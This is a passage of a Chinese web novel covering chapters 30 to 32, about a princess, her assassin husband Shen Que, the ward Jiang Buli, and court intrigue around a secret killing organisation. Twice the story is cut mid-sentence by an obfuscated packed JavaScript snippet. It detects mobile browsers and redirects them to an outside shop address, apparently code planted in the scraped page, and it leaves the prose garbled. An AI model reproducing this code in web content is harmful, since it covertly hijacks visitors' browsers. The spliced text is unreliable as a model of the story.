华梨将匕首捡起来交给身边暗卫,而后示意另一个暗卫放开姜不离。 “你会爱上沈确吗?” 突如其来的问题,姜不离抬头看向华梨。华梨看着她充满嫌恶的神色,了然。 “那就是不会了。” 华梨不指望姜不离回答,她自问自答,然后拍拍姜不离的脸。 姜不离比华梨矮半分,华梨冷冽的眼神落在她身上,若有实质。 “你似乎一直没有把我的话听进去。” 华梨叹息,“但是你很聪明,我舍不得杀死你,这该怎么办?” 她看着姜不离的神色转变,“本朝赘婿不可为官。” 话已至此,华梨不打算过多解释。 “我会送你去书院,书院中多达官显贵,你不会和沈确一样蠢笨到谁都敢杀吧。” 姜不离终于开口:“激将法对我不管用。” 华梨道:“不是激将法,是提醒你。你惹了事,我愿意帮你处理。但你想给长公主府添麻烦,我会把你交出去。” 华梨目送姜不离走远,她觉得有点疲倦。 更朝换代往往是在一瞬间,长公主回京后的一番话是在提醒她。 皇帝不对长公主动手不止是因为亲情,也因朝堂上有长公主的人。 她觉得自己应该培养些势力。 而姜不离是比沈确更锋利的刀。 31. 第 31 章 参加五皇子生辰宴的那天,华梨带上了沈确。 马车上,沈确安静坐在华梨身边为她给青橘剥皮,所谓人靠衣装马靠鞍,入赘到长公主府后,沈确原本的衣服被华梨勒令不准再穿,此时陪华梨出府赴宴的衣裳是华梨挑选的,将沈确身上的肃杀之意削减不少,但仍予人不可接近之感。 华梨拽他袖口,沈确回身,沉默看着华梨。 “为什么这些天都没见到你?” 华梨原本想问为什么没有找过她,但总觉得像在示弱,于是她改变问法。 沈确看着她,不说话。 “?”华梨有点莫名其妙,她在沈确的眼中看到淡淡的埋怨。 他没来找她,难不成还是她的错了? 华梨的火气登时大了起来,又被沈确接下来的话浇灭。 “你说没你的命令,不准踏入你的院子。” 沈确话罢,垂下眼帘继续安静剥橘子。 华梨愣了愣,仔细思索片刻后发觉自己真的说过这句话。只不过因为当时她处于气头上,下意识就那么说了,后来又有很多要考虑的事,竟叫她忘记了这么一茬。 不过华梨也不心虚,她凑近沈确,“所以你生气了吗?” 华梨笑笑:“应该没有生气吧?” 沈确怎么可能没生气,他甚至在某个瞬间恨透了华梨,但他觉得他没有资格说这些。 此刻面对华梨的笑脸他更不可能说出难听的话,心中的所有躁动不安、阴郁烦闷在面对华梨时都被压制下。 “嗯。” 沈确的回答很含糊,华梨不打算追问,她心里清楚当时对方心中定然不快,可既然他不直说,她为何要自寻烦恼问到底。 于是华梨像什么都未曾察觉似的,道:“那就好。” “既然如此,你就从那个院子搬回来,我那时说的话不作数。”华梨开口没有给沈确拒绝的机会。 处理好这件事,她心情颇好。 也许是因长公主回京,加之她前不久才举办的婚宴,华钧这次没有主动在华梨身边转悠,中途也没有闹出幺蛾子,华梨很顺利地回府。 夜幕降临,沈确搬回主卧。 门外的侍从都很惊讶,要知道前几天华梨发的那通火可谓吓人,他们都以为沈确这个新姑爷要被冷待好几天,谁知今日对方就搬回来了。 华梨换完寝衣时沈确正坐在床塌的一边,华梨走到他面前,“我睡里侧。” “……哦。” 华梨躺下后,沈确起身熄灯,灯熄灭后,沈确一时间不能适应突如其来的黑暗,在原地站定,想等视线适应房中的光线。 这时华梨的声音从前边传来,“你不会隔空熄灯吗?我看有些话本是这样写的。” 她是真的疑惑,沈确也在认真回答:“可以,但要借助东西,比如石子什么的。” 两人说话间沈确已然适应现在的环境,他往床边走,摸索着躺下身。 衣料摩擦的声音在夜间十分明显,华梨往边侧挪了挪,不太想和沈确离得太近。沈确察觉到华梨的举动,没说话。 他躺下后心跳的尤快,沈确的脑袋格外混乱,身体却是冰凉一片。 为什么又这么对他? 折辱他,亲近他又远离他。 他呼吸有一瞬间的急促,为防止华梨察觉到自己的异常,沈确强行调整了自己的呼吸,让它恢复正常。 华梨这边也不大愉快,沈确像个冰冷的木桩子躺在身边,但他又不是木桩子。 她想到之前话本里描写的神仙眷侣,更加怨怼了。她确实要提防沈确不错,可是不代表她要清心寡欲。 沈确是她的人,凭什么她什么也不能干。 这个想法多少有点色令智昏,华梨觉得有点危险,毕竟牡丹花下死的人也不少,她起码不想死的那么窝囊。 “啊……” 华梨突然直起身半躺在床上,沈确被华梨的动作惊到,他小声地问:“怎么了?” 借着从窗外流淌进屋内的月华,华梨看清了沈确此时的模样,比画中人还要漂亮几分。虽然她最初不是被沈确的外貌吸引,但沈确的外貌确是会让人色令智昏。 起码现在华梨很想这么做,于是她也真的这么做了。 华梨微侧过身将另外一只手支在沈确右脸边,她感觉自己压到沈确又长又黑的头发,于是华梨抬起手半跨坐在沈确的身上,低头和沈确对视。 华梨的头发也很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037583|147119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长,垂下来时像是水流倾泻而下一般,最终和沈确的头发缠绕在一起。 月色被遮挡,两人看不清彼此的神色。 华梨手指从沈确的胸前摸索,最终停到他的唇角,寻找到了一个确定的位置。 细碎的光透过缝隙汇入华梨的眼眸。 一片花瓣落入水中惊动游鱼的重量落在沈确的唇上,有着令人眷恋的温热,华梨的体温透过轻薄的衣衫传给沈确,沈确放在身侧的手忍不住动了动,华梨察觉到沈确细微的动作,她下意识捉住沈确动作的那只手。 让人心痒难耐的重量落在唇角、眉间,沈确忍不住闭眼。 他身上的幽香在此时更加明显,比他的呼吸声要重。 华梨没有下一步动作,她顿了顿,感觉心中莫名其妙的冲动感少了不少。 她逐渐冷静下来,呼吸和沈确的吐息纠缠在一起。 她刚才的情况似乎和第一次见到沈确时的状况有点类似,身体和情感会莫名其妙不受控制,华梨自认为是能够克制自己的行为,但她总会在沈确面前破例。 也许她在内心深处真的喜欢沈确,所以才会这样。 可是为什么会这样?华梨又回到了最初的思考点,她为什么会偏偏对一个杀手这样钟情,这不正常。 华梨的思绪愈发清晰。 大婚之日她接受那些莫名其妙的记忆时,她也被一种诡异的情绪操纵。 她很清楚那不是当时她的情绪,因为人没有办法在极短时间内对大量的记忆作出反应。 那么那些情绪就是记忆中的“她”所拥有的。 如此一切才说得通。 那个“华梨”记忆中的情绪在某一刻会影响到她。 她和沈确初次见面时的紧张,不止是因为她的恐惧,也是因为曾经“华梨”对沈确的情感。 那么那些记忆就是真实存在的。 想到这个可能后,华梨的脸色冷下来,怎么看沈确怎么不顺眼,但由于先前已经猜想过各种可能,她此时并没有像第一次那般盛怒。她撤回身子,没什么感情道: “你还是回去睡,你在我身边我睡不安稳。” “谁知道你会不会在大半夜给我的脑袋拧下来。” 32. 第 32 章 沈确又被赶回去了。 外面的侍从眼观鼻鼻观心,谁也不敢说什么,只是感觉自从沈确入赘后,华梨的情绪越发不稳定。 好在不管郡主如何对待沈确,都没有将怒气牵扯到他们身上。 又是几天过去,天气愈发炎热。 华梨房间里的碎冰供应不断,她到夏日时体温偏热,不大喜欢出汗的感觉。 姜不离自从上次一闹后就消停下来,在长公主府里医师的调养下身体逐渐转好,华梨观此形式,吩咐如春安排对方秋季入学的事情。 主要也是担心姜不离在府上闲着无聊,又闹出些惹人烦的事。 这日华梨带着沈确出门,她这些日子对沈确不冷不热,沈确也就这么受着,单从面上看不出其他情绪。 在胭脂铺中,华梨碰到了大理寺的人。 是赵支荷,两位主薄之一。 她是个不大热情的人,认出华梨时却上前搭话,华梨瞥了眼身后的沈确,有点心虚。 但这抹心虚转瞬即逝。 她向赵支荷点头:“赵主薄。” 赵支荷与办公时差别很大,她当值时总是冷着一张脸,作沉思状,私下里却腼腆的紧。见华梨向她笑,有些不好意思地搓了搓耳垂,报之以一笑。 她察觉到华梨方才看向沈确的动作,抬眼看了眼沈确,又看回华梨: “前不久听说郡主大婚,还未来得及恭喜。” 华梨对这番客套的话没有过多反应,她拿起货架上的胭脂盒,“嗯”了句,似是无意问: “这倒是没什么,倒是大理寺,之前那几起命案有着落了吗?” 赵支荷脸上露出沮丧的神情,“没呢,线索都断在长影街,这些天大家都忙于此事,只是恐怕……要落空了。” “之前也不是没有这种情况,但凡涉及到长影街的消息,最后都会不了了之,陛下对比亦很头疼。” 华梨听着赵支荷的埋怨,没有过多插话,两人不甚熟悉,赵支荷点到即止,没有透露太多消息。 与赵支荷告别后,华梨也没了其他心思,径直拉着沈确回府。 沈确察觉到华梨的烦躁,乖乖任由华梨拉扯。 “影阁的事你知道多少?” 不知出于那种心理,华梨虽然没指望沈确会回答,但莫名开口问他。 沈确沉吟片刻,回道:“很多,阁中大半的事我都知道。” “……你知道这么多,他们能放心你入赘长公主府?” “影阁不插手个人私事。” 华梨:“影阁阁主是谁?” 这次沈确没有直接告诉华梨,他在思考这番话的风险性,半晌过后,他出奇地反问华梨:“为什么这么问?” 华梨盯着沈确不说话,两人对峙片刻后,她笑道: “突然就想一问,你不想回答就算了。” 她像是不在意似的站起身,绕过沈确去拿他背后书架上放着的游记。 沈确在她起身后开口:“影阁阁主不止一个,阁主不是实际掌权的人,据我所知,大理寺和刑部都有阁主的存在。” 华梨陷入沉思,排除掉对方故意欺瞒自己的可能,沈确说的和她想的几乎没有差别。 这并不难猜,有关长影街中影阁的线索断的太突然,所以在朝堂上肯定有影阁的人,在暗中阻止这件事继续深入调查。 那么问题就在于,皇帝对这件事怎么看。 别人或许不知道,但华梨看得清楚,目前死的人都是皇帝想要除掉的人,世上怎么会有如此巧合的存在。 皇帝是否在背后和影阁打达成某种协定? 自华梨决定主动涉入京城的这场局,她发觉京中的情况远远比她想象中要复杂,就连看上去对她知无不言的皇帝舅舅,背后也有隐藏的那一面。 她不大开心。 这也是华梨一直不愿意卷入纷争的原因。 那会让她看到许多令人失望的事情。 华梨让沈确回去,她自己坐在书房里整理这些天收集到的线索。 长公主回京的目的肯定不简单。 只不过长公主不会做对她有害的事,华梨也就不担心,目前的状况尚在可控范围,皇帝在强盛之年,她有信心在五年内在朝堂上培养出一支属于自己的势力。 可那之后呢? 华梨有点疲倦,她果然讨厌算计。 做个嚣张跋扈的郡主远比位高权重的掌权者要好,只不过没有实权的人,注定会摔的很惨。 她知道这个道理,所以现在不得不转变。 · 华梨心情不佳时胃口也不好。 此时又值夏季,这样半月下来,华梨消瘦不少。 沈确自从搬入长公主府后就没什么事可做,上次侍从的话还在他脑海中挥之不去,见华梨没什么胃口,他便去厨房为华梨做小食。 两人不在一处用膳,沈确不主动说,周围人不开口,华梨自然也不知道是沈确做的。 又是一日,华梨终于从繁琐的事中脱身,用膳时,她感觉和以往吃的不大一样,便问:“厨房换人了?” 一旁如春回答:“是姑爷做的。” 华梨有些意外,“这些都是他做的?” “是。” “验过毒了吗?” “验过,无毒。” 华梨意味不明地“哦”了一声,反正对方也有神不知鬼不觉下毒的能力,既然验出饭菜无毒,她就当做无毒。 这些天她一直在冷待沈确,沈确也许是察觉到其中微妙的变化,亦没有主动出现在她面前。 想到这里华梨又有点烦。 夏季本就是容易燥乱的时节,华梨不太喜欢热的天气。 夜半。 她房外的蝉都让侍从用捕虫网抓走,但华梨仍觉得心烦意乱。 后半夜时突然雷声大作,外面淅淅沥沥下起大雨。 华梨迷糊间被惊雷吵醒,她脑子里又多出段记忆,是和沈确有关的。 她掀开被子愣了很久,又是一道惊雷划破天际,惨白的光亮照在她的脸上。 她不明白,如果记忆中的她是恨着沈确的,为何又让她看到一些似是而非的东西。这些记忆总让她忍不住想要怜惜、接近沈确。 有人觉得在对等的关系中,怜惜是羞辱,但对华梨来说,怜惜是产生亲密关系的前提。 沈确害怕雷声。 想到这里,华梨掀开被子披上外套往外走。 守夜的侍女在屋檐下打着灯,见华梨出来,迎面走过去,华梨让对方拿来油纸伞,吩咐她们不必跟上。 伞面张开,豆大的雨滴砸在上面。 华梨手上提着一盏明亮的灯走在长公主府的石路上。 她为沈确安排的房间距离她的房间并不远,走上几步就能到。 沈确房中没有亮灯。 华梨收下伞在廊边敲了两下,抖落伞上的雨水。 她手指微微使力推开门。 原本她没指望能推开,意想不到的是沈确没有栓门。 明月被黑漆漆的乌云笼罩,沈确的房中一片漆黑,华梨只能借着手提灯笼的光照亮前面,她走到床边,发现上面没有人。 “……沈确?” 无人回应。 狂风从大开的门钻进来,吹的案上的纸张纷飞。 华梨皱眉,专门将门合上。 顺着风飘进来的雨水将她的袖口和衣摆打湿,好在夏日的夜晚并不是特别凉,华梨并不觉得很冷。 她将灯放在桌上,转身拿起火折子将屋内的蜡烛点燃。 目光环视一圈房间,华梨又唤了沈确一声。 极小的碰撞声从木质柜子里发出,华梨走到那柜子旁将其拉开,沈确蜷缩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044905|147119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着身子,他双手环住自己膝盖,腰弯到不可思议的程度,一个瘦弱却高大的男人,被雷声惊成这幅模样。 华梨静静看着沈确。 蓦然来一句:“我喊你名字你没听到吗?” 沈确没应。 他的脸色十分苍白、脆弱。 华梨蹲下身,平视缩在柜子中的沈确。 如果她让沈确爱上她呢。 她还会对她下手吗? 对于一个贫穷、缺爱、阴暗的人而言,究竟是什么最重要。 尤其是给予他爱意的人恶劣而放肆,让他根本抓不住。 华梨心中忽然产生了这个想法。 她有点潮湿、带着热度的手摸到沈确的脸,而后替对方捂住耳朵。 沈确额头渗出的冷汗将她的手指彻底打湿,让华梨有种黏糊的不适感。 她没有松开手,仔细观察沈确此刻的表情,对方瞳孔有点涣散,华梨透过他的眼睛看到了自己。 对方依旧没有反应。 “这么害怕的么……”华梨低声喃喃自语,这道声音被突如其来的雷声砸碎,谁也没有听到。 沈确的身子在发抖。 华梨觉得这个姿势很难受,她觉得沈确也不适合待在狭小的柜子里,除非必要,她没有故意折磨人的习惯。 于是华梨手指动了动,指尖擦过沈确的耳朵,想撤回手。 沈确在她要收回手时,将她整个人扑倒。 很难形容那是一个怎样的动作。 像是一个和野狼长大的人被同化成了狼,用狩猎的姿态扑向猎物。 灵巧诡异的不像正常人。 他带着巨大的冲击力将华梨的肩膀抓住,华梨被突如其来的力道惊到,重心不稳往后摔倒,她身后是一张木桌。 疼痛没有到来。 沈确抱住华梨,在电光火石间,和华梨转换了位置,自己抵上木桌。 桌子被往后推了半米远,尖锐的摩擦声音在房间中响起,刺痛华梨的耳道。桌面上的水壶和瓷杯全部摔到地上,水流将地面淌湿,碎片的棱角四处都是。 华梨不知如何反应,脑袋贴在沈确胸膛前,听到了对方激烈的心跳。 半晌,她才如梦方醒般推开沈确。 推不开。 沈确像是要将她嵌入身体,单凭华梨无法挣脱。 华梨只得用空闲的手环抱住沈确,对方的脊背还抵着桌腿,华梨轻轻拍他,感觉自己真是难得的好脾气:“好了别怕。” 沈确依旧没有任何动作,但是华梨察觉到对方的钳制轻松不少。 “你要是真的害怕,今晚和我一起睡啊。” “你又从来没有主动和我说过什么,人长一张嘴不就是用来说话的。” “……你也从来没有和我说过。” 沈确开口,声音沙哑而哽咽。 华梨有点莫名其妙:“我没说什么?” 她挣扎着抬脸,又被沈确扣住后脑勺,膝盖分开压在沈确大腿两侧,沈确的下巴抵住她的肩膀。 这个动作十分难受。 华梨挣扎着想换个姿势,只是下一刻她便僵住身子。 她感觉沈确在哭。 不止是因为对方发颤的身体,还因为她肩膀那一块的衣服被烫湿。 是烫湿,在这个风雨交加的夜晚,沈确的眼泪格外烫人。 华梨吞回将要说出口的话。 她并不会哄人,好听的话都鲜少说。 华梨勉强用手支撑住自己的身体,好叫腰部的受力没那么难受。 沈确还在控诉华梨。 “你从没有和我讲过真话,你说的一切都是假的。我惹到你的时候你从不会和我说原因,你一直都在骗我。” “你厌恶我、恐惧我、羞辱我,可是为什么要骗我……为什么?” “阿梨?”